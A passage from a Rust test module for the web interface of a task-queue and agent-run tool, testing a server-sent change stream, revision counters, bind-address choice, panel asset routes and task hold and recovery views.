22938                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22939                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22940            );
22941        }
22942        // Queued and Failed intentionally both resolve to "upnext" - the
22943        // same section queueSection() itself files them under - rather than
22944        // getting a section each.
22945        for line in [
22946            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22947            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22948            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22949            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22950            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22951            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22952        ] {
22953            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22954        }
22955    }
22956
22957    #[test]
22958    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22959        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22960        // above for the section-focus channel a stats queue tile drives:
22961        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22962        // through the stale-search-clear recursion into renderQueue(), and
22963        // clear it only once revealQueueSection() is actually about to run -
22964        // the same trap that once silently dropped a task-focus jump.
22965        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22966        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22967        assert!(APP_JS.contains("function revealQueueSection(details)"));
22968        assert!(
22969            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22970            "renderQueue() must consume both focus channels on every pass"
22971        );
22972        assert!(
22973            APP_JS.contains(
22974                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22975            ),
22976            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22977             the recursive renderQueue() call has nothing left to reveal"
22978        );
22979        assert!(
22980            APP_JS.contains(
22981                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22982            ),
22983            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22984        );
22985        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22986        // task-focus form of the hash - a plain `#queue` navigation only
22987        // flips which view is visible. openQueueSectionFocus() must
22988        // therefore call renderQueue() itself, and applyRoute() too so the
22989        // view flips even when the hash doesn't change (the Backlog may
22990        // already be open when a tile is tapped, firing no hashchange
22991        // event at all).
22992        assert!(
22993            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22994            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22995             hashchange event that may never fire"
22996        );
22997    }
22998
22999    #[tokio::test]
23000    async fn the_change_stream_announces_the_current_revisions_on_connect() {
23001        let f = Fixture::start().await;
23002
23003        let mut socket = tokio::net::TcpStream::connect(f.addr)
23004            .await
23005            .expect("connect");
23006        socket
23007            .write_all(
23008                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
23009            )
23010            .await
23011            .expect("write request");
23012
23013        // Read until the first event arrives rather than to end of stream: the
23014        // stream is endless by design, which is the point of the route.
23015        let mut seen = String::new();
23016        let mut buf = [0u8; 1024];
23017        while !seen.contains("event: change") {
23018            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
23019                .await
23020                .expect("the stream must speak within five seconds")
23021                .expect("read");
23022            assert!(read > 0, "the server closed the change stream: {seen}");
23023            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
23024        }
23025
23026        assert!(
23027            seen.to_lowercase()
23028                .contains("content-type: text/event-stream"),
23029            "the browser only reconnects automatically for a real SSE stream: {seen}"
23030        );
23031        let data = seen
23032            .lines()
23033            .find_map(|l| l.strip_prefix("data:"))
23034            .expect("a data line");
23035        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
23036        assert!(
23037            payload["queue_rev"].is_u64()
23038                && payload["runs_rev"].is_u64()
23039                && payload["questions_rev"].is_u64()
23040                && payload["talks_rev"].is_u64()
23041                && payload["notifications_rev"].is_u64()
23042                && payload["loop_rev"].is_u64(),
23043            "the client needs one revision per store to know what to refetch, \
23044             and `talks_rev` is the only notification a standing talk gets - a \
23045             phone whose radio slept through a turn learns about it here, as \
23046             does one whose operator started the loop from another device: \
23047             {payload}"
23048        );
23049
23050        // The front end re-polls health on a timer and on wake, and takes the
23051        // revisions from that answer whenever the stream is not up. So health
23052        // has to carry every key the stream carries: a phone on a link that
23053        // will not hold an SSE connection is exactly the phone that must still
23054        // notice a question, and a missing key there is not a 500 but a UI
23055        // that quietly stops updating.
23056        let health = f.get("/api/health").await.json();
23057        for key in [
23058            "queue_rev",
23059            "runs_rev",
23060            "questions_rev",
23061            "talks_rev",
23062            "notifications_rev",
23063            "loop_rev",
23064        ] {
23065            assert!(
23066                health[key].is_u64(),
23067                "health is the change stream's fallback and is missing `{key}`: {health}"
23068            );
23069        }
23070    }
23071
23072    #[tokio::test]
23073    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
23074        let home = TempDir::new().expect("temp home");
23075        let ui = delta_test_ui(home.path());
23076        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
23077        // Establish the existing conversation's baseline before appending.
23078        // Wait on the stream's shared notification rather than repeatedly
23079        // rebuilding health (config, process and disk observations included).
23080        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
23081        let mut changes = ui.monitor.broadcaster.subscribe();
23082        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
23083        on_disk.turns.push(crate::talk::Turn {
23084            sender: None,
23085            breaks: Some(Vec::new()),
23086            messages: Vec::new(),
23087            posted_by: None,
23088            who: crate::talk::Who::Operator,
23089            body: "a new turn".to_owned(),
23090            at: Timestamp::now(),
23091            attachments: Vec::new(),
23092            usage: None,
23093        });
23094        ui.talks.put(&mut on_disk).expect("record a turn");
23095
23096        let after = tokio::time::timeout(Duration::from_secs(5), async {
23097            loop {
23098                let change = changes.recv().await.expect("monitor notification");
23099                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
23100                if revision != before {
23101                    assert_eq!(
23102                        change.payload["talks_delta"]["changed"],
23103                        serde_json::json!([talk])
23104                    );
23105                    break revision;
23106                }
23107            }
23108        })
23109        .await
23110        .expect("shared monitor observes external turn");
23111        assert_ne!(
23112            before, after,
23113            "a phone must be able to notice a talk's reply without polling every store"
23114        );
23115        let Json(observed) = health(State(ui)).await.expect("health");
23116        assert_eq!(
23117            observed.talks_rev, after,
23118            "health exposes the same revision"
23119        );
23120    }
23121
23122    #[test]
23123    fn bind_reads_back_from_the_spelling_the_cli_prints() {
23124        // The CLI shows the default in `--help` and parses whatever comes
23125        // back, so the two directions have to agree or `--bind auto` breaks
23126        // the moment someone copies the help text.
23127        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
23128            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
23129        }
23130        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
23131        assert!("everywhere".parse::<Bind>().is_err());
23132    }
23133
23134    #[test]
23135    fn an_explicit_bind_address_is_taken_verbatim() {
23136        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
23137
23138        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
23139
23140        assert_eq!(addr, asked);
23141        assert!(
23142            warning.is_none(),
23143            "an operator who named an address gets no lecture"
23144        );
23145    }
23146
23147    #[test]
23148    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
23149        let (addr, warning) = resolve_bind(&Bind::Auto);
23150
23151        // This has to hold on a CI runner with no `tailscale` and on a dev box
23152        // with one, so the invariant asserted is the one shared by both
23153        // outcomes: the address is either a real tailnet address offered
23154        // without comment, or loopback with an explanation. What must never
23155        // happen is a silent fallback - an operator told "listening on
23156        // 127.0.0.1" with no reason would go looking for a firewall.
23157        match addr {
23158            IpAddr::V4(ip) if is_tailnet(&ip) => {
23159                assert!(warning.is_none(), "a tailnet address needs no warning");
23160            }
23161            other => {
23162                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
23163                let warning = warning.expect("a fallback has to explain itself");
23164                assert!(
23165                    warning.contains("127.0.0.1") && warning.contains("local-only"),
23166                    "the warning says what happened and what it costs: {warning}"
23167                );
23168            }
23169        }
23170    }
23171
23172    #[test]
23173    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
23174        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
23175        // boundary cases are what stop us binding to some other tool's idea of
23176        // an address.
23177        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
23178        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
23179        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
23180        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
23181        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
23182    }
23183
23184    #[test]
23185    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
23186        let ids = vec![
23187            "20260902-140501-aaaa".to_owned(),
23188            "20260902-140502-aabb".to_owned(),
23189        ];
23190
23191        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
23192        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
23193        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
23194
23195        assert_eq!(missing.status, StatusCode::NOT_FOUND);
23196        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
23197        assert_eq!(short, "20260902-140502-aabb");
23198    }
23199    #[tokio::test]
23200    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
23201        // The prompt tells agents to reference attachments by bare filename.
23202        // A document served at `.../panel` resolves `shot.png` against its own
23203        // directory, i.e. `.../shot.png`, which is not the asset route - so a
23204        // panel written exactly as instructed showed broken images. Caught by
23205        // looking at a real one in a browser, not by reading the code.
23206        let fx = Fixture::start().await;
23207        let id = panel(
23208            &fx,
23209            "<img src=\"shot.png\">",
23210            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
23211        );
23212
23213        // The frame's own URL ends in a filename, so its siblings are reachable.
23214        let doc = fx
23215            .get(&format!("/api/questions/{id}/panel/index.html"))
23216            .await;
23217        assert_eq!(doc.status, 200, "{}", doc.body);
23218        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
23219
23220        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
23221        assert_eq!(sibling.status, 200, "{}", sibling.body);
23222        assert_eq!(sibling.header("content-type"), Some("image/png"));
23223        assert_eq!(
23224            sibling.header("content-security-policy"),
23225            Some(PANEL_CSP),
23226            "the sibling route must carry the same policy as the asset route"
23227        );
23228
23229        // The original spelling keeps working: HEAD on it is how the front end
23230        // decides whether to mount a frame at all.
23231        assert_eq!(
23232            fx.head(&format!("/api/questions/{id}/panel")).await.status,
23233            200
23234        );
23235    }
23236
23237    #[test]
23238    fn delta_stamps_cover_add_update_remove_and_noop() {
23239        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
23240        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
23241        let delta = diff_stamps(&before, &after, 42);
23242        assert_eq!(delta.base, 42);
23243        assert_eq!(delta.changed, ["b", "c"]);
23244        assert_eq!(delta.removed, ["a"]);
23245        let same = diff_stamps(&after, &after, 43);
23246        assert!(same.changed.is_empty() && same.removed.is_empty());
23247        assert_ne!(stamps_revision(&before), stamps_revision(&after));
23248        let nanos: Stamps = [("b".into(), (2, 20))].into();
23249        let same_ms: Stamps = [("b".into(), (3, 20))].into();
23250        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
23251        assert_eq!(stamps_revision(&Stamps::new()), 0);
23252    }
23253
23254    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
23255        std::fs::create_dir_all(home.join("runs")).unwrap();
23256        Arc::new(
23257            Ui::new(
23258                Queue::at(home.join("queue")),
23259                Questions::at(home.join("questions")),
23260                Talks::at(home.join("talks")),
23261                home.join("runs"),
23262                home.to_owned(),
23263                PathBuf::from("/repo/magi"),
23264            )
23265            .with_worktrees_root(home.join("wt")),
23266        )
23267    }
23268
23269    #[test]
23270    fn monitor_scan_isolates_store_failures_and_recovers() {
23271        let home = TempDir::new().unwrap();
23272        let ui = delta_test_ui(home.path());
23273        std::fs::create_dir_all(ui.questions.root()).unwrap();
23274        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
23275        let before = monitor_scan(&ui, None);
23276        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
23277        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23278        std::fs::create_dir_all(ui.talks.root()).unwrap();
23279        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
23280        let during = monitor_scan(&ui, Some(before.clone()));
23281        assert_eq!(during.0.2, before.0.2);
23282        assert_ne!(during.0.3, before.0.3);
23283        assert!(during.1[2].contains_key("new"));
23284        std::fs::remove_file(ui.questions.root()).unwrap();
23285        let after = monitor_scan(&ui, Some(during));
23286        assert_eq!(after.0.2, 0);
23287        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
23288        // A failed first scan also permits healthy stores to publish.
23289        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23290        assert_ne!(monitor_scan(&ui, None).0.3, after.0.3);
23291    }
23292
23293    #[test]
23294    fn chat_status_cached_inventory_invalidates_on_store_failure_and_recovery() {
23295        let home = TempDir::new().unwrap();
23296        let ui = delta_test_ui(home.path());
23297        let root = ui.queue.root();
23298        std::fs::create_dir_all(root).unwrap();
23299        let before = monitor_scan(&ui, None);
23300        *ui.monitor.latest.lock().unwrap() = Some(before.clone());
23301        let status = || {
23302            chat_inventory(&ui)
23303                .status_of("chat", true, crate::chat_status::Goals::default(), false)
23304                .kind
23305        };
23306        assert_eq!(status(), crate::chat_status::Kind::Idle);
23307        std::fs::remove_dir(root).unwrap();
23308        std::fs::write(root, "not a directory").unwrap();
23309        let failed = monitor_scan(&ui, Some(before.clone()));
23310        assert_ne!(failed.0.3, before.0.3);
23311        *ui.monitor.latest.lock().unwrap() = Some(failed.clone());
23312        assert_eq!(status(), crate::chat_status::Kind::Unknown);
23313        std::fs::remove_file(root).unwrap();
23314        std::fs::create_dir(root).unwrap();
23315        let recovered = monitor_scan(&ui, Some(failed));
23316        *ui.monitor.latest.lock().unwrap() = Some(recovered);
23317        assert_eq!(status(), crate::chat_status::Kind::Idle);
23318    }
23319
23320    #[tokio::test]
23321    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
23322        let home = TempDir::new().unwrap();
23323        let ui = delta_test_ui(home.path());
23324        let mut task = Task::new(
23325            "stream task".into(),
23326            "text".into(),
23327            PathBuf::from("/repo"),
23328            Source::Human,
23329        );
23330        ui.queue.put(&mut task).unwrap();
23331        let response = events(State(ui.clone())).await.into_response();
23332        let mut stream = response.into_body().into_data_stream();
23333        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
23334            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
23335                .await
23336                .unwrap()
23337                .unwrap()
23338                .unwrap();
23339            let text = String::from_utf8(chunk.to_vec()).unwrap();
23340            let data = text
23341                .lines()
23342                .find_map(|line| {
23343                    line.strip_prefix("data: ")
23344                        .or_else(|| line.strip_prefix("data:"))
23345                })
23346                .unwrap();
23347            serde_json::from_str(data).unwrap()
23348        }
23349        let initial = change(&mut stream).await;
23350        assert!(initial.get("queue_delta").is_none());
23351        task.instruction.push_str(" changed");
23352        ui.queue.put(&mut task).unwrap();
23353        let updated = change(&mut stream).await;
23354        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
23355        assert_eq!(
23356            updated["queue_delta"]["changed"],
23357            serde_json::json!([task.id])
23358        );
23359        assert_eq!(
23360            updated["queue_rev"].as_u64(),
23361            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
23362        );
23363        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23364        let removed = change(&mut stream).await;
23365        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
23366        assert_eq!(
23367            removed["queue_delta"]["removed"],
23368            serde_json::json!([task.id])
23369        );
23370    }
23371
23372    #[tokio::test]
23373    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
23374        let home = TempDir::new().unwrap();
23375        let ui = delta_test_ui(home.path());
23376        let queue = ui.queue.clone();
23377        let query = |ids: Option<&str>| {
23378            Query(ListQuery {
23379                limit: Some(2),
23380                ids: ids.map(str::to_owned),
23381            })
23382        };
23383        let mut root = Task::new(
23384            "root".into(),
23385            "instruction".into(),
23386            PathBuf::from("/repo"),
23387            Source::Human,
23388        );
23389        queue.put(&mut root).unwrap();
23390        let mut blocked = Task::new(
23391            "blocked".into(),
23392            "instruction".into(),
23393            PathBuf::from("/repo"),
23394            Source::Human,
23395        );
23396        blocked.block(vec![root.id.clone()], None);
23397        queue.put(&mut blocked).unwrap();
23398        let whole =
23399            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
23400                .unwrap();
23401        let subset = serde_json::to_value(
23402            queue_list(State(ui.clone()), query(Some(&root.id)))
23403                .await
23404                .unwrap()
23405                .0,
23406        )
23407        .unwrap();
23408        assert_eq!(whole, subset, "requested root plus its blocked dependent");
23409        let blockers = serde_json::to_value(
23410            queue_list(State(ui.clone()), query(Some("")))
23411                .await
23412                .unwrap()
23413                .0,
23414        )
23415        .unwrap();
23416        assert_eq!(blockers.as_array().unwrap().len(), 1);
23417        assert_eq!(blockers[0]["id"], blocked.id);
23418        assert_eq!(
23419            blockers[0]["waits_on"],
23420            whole
23421                .as_array()
23422                .unwrap()
23423                .iter()
23424                .find(|row| row["id"] == blocked.id)
23425                .unwrap()["waits_on"]
23426        );
23427
23428        for id in [
23429            "20260902-140501-aaaa",
23430            "20260902-140502-bbbb",
23431            "20260902-140503-cccc",
23432        ] {
23433            write_run(&ui.runs, id, RunStatus::Merged);
23434        }
23435        let old = serde_json::to_value(
23436            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
23437                .await
23438                .unwrap()
23439                .0,
23440        )
23441        .unwrap();
23442        assert!(
23443            old.as_array().unwrap().is_empty(),
23444            "older updates must not enter the window"
23445        );
23446        let newest = serde_json::to_value(
23447            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
23448                .await
23449                .unwrap()
23450                .0,
23451        )
23452        .unwrap();
23453        assert_eq!(newest.as_array().unwrap().len(), 1);
23454        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
23455
23456        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
23457        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
23458        let talks = serde_json::to_value(
23459            talks_list(
23460                State(ui.clone()),
23461                query(Some("20260905-000000-d4e5")),
23462                header::HeaderMap::new(),
23463            )
23464            .await
23465            .unwrap()
23466            .0,
23467        )
23468        .unwrap();
23469        assert_eq!(talks.as_array().unwrap().len(), 1);
23470        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
23471        assert_eq!(
23472            serde_json::to_value(
23473                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
23474                    .await
23475                    .unwrap()
23476                    .0
23477            )
23478            .unwrap(),
23479            serde_json::json!([])
23480        );
23481    }
23482
23483    #[tokio::test]
23484    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
23485    async fn delta_payload_benchmark() {
23486        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
23487        let ui = delta_test_ui(&home);
23488        let query = |ids: Option<String>| {
23489            Query(ListQuery {
23490                limit: Some(50),
23491                ids,
23492            })
23493        };
23494        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
23495        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
23496        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
23497            .await
23498            .unwrap()
23499            .0;
23500        let queue_id = queue
23501            .iter()
23502            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
23503            .unwrap_or(&queue[0])
23504            .task
23505            .id
23506            .clone();
23507        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
23508            .await
23509            .unwrap()
23510            .0;
23511        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
23512            .await
23513            .unwrap()
23514            .0;
23515        let talks_delta = talks_list(
23516            State(ui.clone()),
23517            query(Some(talks[0].id.clone())),
23518            header::HeaderMap::new(),
23519        )
23520        .await
23521        .unwrap()
23522        .0;
23523        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
23524        eprintln!(
23525            "DELTA_PAYLOAD {}",
23526            serde_json::json!({
23527                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
23528                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
23529                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
23530                "counts": [queue.len(), runs.len(), talks.len()],
23531                "blocked": queue_delta.len() - 1,
23532            })
23533        );
23534    }
23535
23536    #[test]
23537    fn runs_revision_moves_when_deleting_an_older_run() {
23538        let temp = TempDir::new().expect("tempdir");
23539        let runs = temp.path().join("runs");
23540        std::fs::create_dir_all(&runs).expect("create runs dir");
23541
23542        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
23543
23544        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
23545        std::thread::sleep(Duration::from_millis(10));
23546        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
23547
23548        let rev_before = runs_revision(&runs);
23549        assert!(rev_before > 0);
23550
23551        let old_dir = runs.join("20260901-100000-old1");
23552        std::fs::remove_dir_all(&old_dir).expect("remove old run");
23553
23554        let rev_after = runs_revision(&runs);
23555        assert_ne!(
23556            rev_before, rev_after,
23557            "deleting an older run must change the revision so other clients see the deletion"
23558        );
23559    }
23560
23561    /// A run's own `run.json` on an explicit `runs` root, bypassing the
23562    /// process-global home entirely — `RunState::save` writes through
23563    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
23564    /// (see `tests::home_lock` in the integration suite for why).
23565    fn write_state(runs: &FsPath, state: &RunState) {
23566        let dir = runs.join(&state.id);
23567        std::fs::create_dir_all(&dir).expect("run dir");
23568        std::fs::write(
23569            dir.join("run.json"),
23570            serde_json::to_string_pretty(state).expect("serialize run"),
23571        )
23572        .expect("write run.json");
23573    }
23574
23575    /// A seat starting or finishing is a write to `run.json` like any other,
23576    /// so it moves the same revision the change stream already watches —
23577    /// nothing new for `/api/events` to learn, but the property this feature
23578    /// depends on to reach the phone without a poll.
23579    #[test]
23580    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
23581        let temp = TempDir::new().expect("tempdir");
23582        let runs = temp.path().join("runs");
23583        std::fs::create_dir_all(&runs).expect("create runs dir");
23584        let mut state = RunState::new(
23585            PathBuf::from("/repo/magi"),
23586            "main".to_owned(),
23587            "0123456789abcdef".to_owned(),
23588            "task".to_owned(),
23589            Config::default(),
23590        );
23591        state.id = "20260902-100000-c0de".to_owned();
23592        write_state(&runs, &state);
23593
23594        let rev_idle = runs_revision(&runs);
23595        std::thread::sleep(Duration::from_millis(10));
23596        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
23597        write_state(&runs, &state);
23598        let rev_started = runs_revision(&runs);
23599        assert_ne!(
23600            rev_idle, rev_started,
23601            "a seat starting must move the revision"
23602        );
23603
23604        std::thread::sleep(Duration::from_millis(10));
23605        state.seat_finished("judge-1");
23606        write_state(&runs, &state);
23607        let rev_finished = runs_revision(&runs);
23608        assert_ne!(
23609            rev_started, rev_finished,
23610            "and clearing it again must move the revision a second time"
23611        );
23612    }
23613
23614    #[tokio::test]
23615    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
23616        // `TaskView` flattens `Task`, so this is really asserting that
23617        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
23618        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
23619        // never touched web.rs, so nothing here caught it if it had.
23620        let fx = Fixture::start().await;
23621        let q = fx.queue();
23622
23623        let mut t = Task::new(
23624            "Task".to_owned(),
23625            "Instruction".to_owned(),
23626            PathBuf::from("/repo"),
23627            Source::Human,
23628        );
23629        t.block(
23630            vec!["20260101-000000-dead".to_owned()],
23631            Some("waiting on Task 1".to_owned()),
23632        );
23633        t.answers.push(crate::queue::AnsweredQuestion {
23634            question: "Which backend?".to_owned(),
23635            answer: "SQLite".to_owned(),
23636        });
23637        q.put(&mut t).expect("put t");
23638
23639        let res = fx.get("/api/queue").await;
23640        assert_eq!(res.status, 200);
23641        let list = res.json();
23642        let view = list
23643            .as_array()
23644            .expect("array")
23645            .iter()
23646            .find(|v| v["id"] == t.id)
23647            .expect("task in list");
23648        assert_eq!(view["status_str"], "blocked");
23649        assert_eq!(
23650            view["blocked_by"],
23651            serde_json::json!(["20260101-000000-dead"])
23652        );
23653        assert_eq!(view["block_reason"], "waiting on Task 1");
23654        assert_eq!(view["answers"][0]["question"], "Which backend?");
23655        assert_eq!(view["answers"][0]["answer"], "SQLite");
23656
23657        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
23658        // but never `answers` - that is a settled decision, not state
23659        // describing the current block, so it survives.
23660        let res = fx
23661            .post(&format!("/api/queue/{}/hold", t.short()), None)
23662            .await;
23663        assert_eq!(res.status, 200);
23664        let held = res.json();
23665        assert_eq!(held["status_str"], "held");
23666        assert_eq!(held["blocked_by"], serde_json::json!([]));
23667        assert!(held["block_reason"].is_null());
23668        assert_eq!(held["answers"][0]["answer"], "SQLite");
23669    }
23670
23671    #[tokio::test]
23672    async fn task_recovery_pending_decisions_block_disk_autoresume() {
23673        let fx = Fixture::start().await;
23674        let queue = fx.queue();
23675        let questions = fx.questions();
23676        let mut task = Task::new(
23677            "Disk recovery".into(),
23678            "Inspect".into(),
23679            PathBuf::from("/repo"),
23680            Source::Human,
23681        );
23682        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
23683        task.mark_disk_capacity();
23684        queue.put(&mut task).unwrap();
23685        let mut records = Vec::new();
23686        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
23687            let mut q = Question::new(
23688                task.id.clone(),
23689                node.into(),
23690                "triage".into(),
23691                "Resume recovery?".into(),
23692                String::new(),
23693                vec![],
23694            );
23695            q.routed_task = Some(task.id.clone());
23696            questions.put(&mut q).unwrap();
23697            records.push(q);
23698        }
23699        let url = format!("/api/queue/{}", task.id);
23700        let view = fx.get(&url).await.json();
23701        assert_eq!(view["status_str"], "held");
23702        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23703        assert!(
23704            view["recovery"]
23705                .as_str()
23706                .unwrap()
23707                .contains("Disk recovery alone will not resume")
23708        );
23709        assert!(
23710            view["recovery"]
23711                .as_str()
23712                .unwrap()
23713                .contains("Disk wait (automatically monitored)")
23714        );
23715        for blocker in view["blockers"].as_array().unwrap() {
23716            assert!(blocker["destination"].is_null());
23717            assert!(
23718                blocker["next"]
23719                    .as_str()
23720                    .unwrap()
23721                    .contains("pending delivery")
23722            );
23723        }
23724        for q in &mut records {
23725            q.routed_chat = Some("owning-chat".into());
23726            questions.put(q).unwrap();
23727        }
23728        let view = fx.get(&url).await.json();
23729        for blocker in view["blockers"].as_array().unwrap() {
23730            assert_eq!(
23731                blocker["destination"],
23732                serde_json::json!(["chat", "owning-chat"])
23733            );
23734            assert_eq!(blocker["resolves_itself"], false);
23735        }
23736        // Answered routed decisions can still be awaiting task-chat application.
23737        for q in &mut records {
23738            q.status = ask::QuestionStatus::Answered;
23739            questions.put(q).unwrap();
23740        }
23741        assert!(crate::triage::pending_for(&questions, &task));
23742        let view = fx.get(&url).await.json();
23743        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23744        assert!(
23745            view["blockers"][0]["next"]
23746                .as_str()
23747                .unwrap()
23748                .contains("not yet applied")
23749        );
23750        for q in &records {
23751            task.mark_triage_applied(&q.id);
23752        }
23753        queue.put(&mut task).unwrap();
23754        assert!(!crate::triage::pending_for(&questions, &task));
23755        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
23756        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
23757    }
23758
23759    #[test]
23760    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
23761        use crate::queue::HoldSource;
23762        let mut task = Task::new(
23763            "Recovery".into(),
23764            "Inspect".into(),
23765            PathBuf::from("/repo"),
23766            Source::Human,
23767        );
23768        assert!(task_recovery(&task).is_none());
23769        task.hold_manual(Some("Operator paused".into()));
23770        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
23771        task.block(vec!["dependency".into()], Some("Decision needed".into()));
23772        let text = task_recovery(&task).unwrap();
23773        assert!(text.contains("restores held"));
23774        assert!(text.contains("clears its dependency references"));
23775        task.hold_source = Some(HoldSource::Machine);
23776        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
23777        task.mark_disk_capacity();
23778        let view = TaskView::with_inventory(
23779            task.clone(),
23780            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
23781        );
23782        let json = serde_json::to_value(view).unwrap();
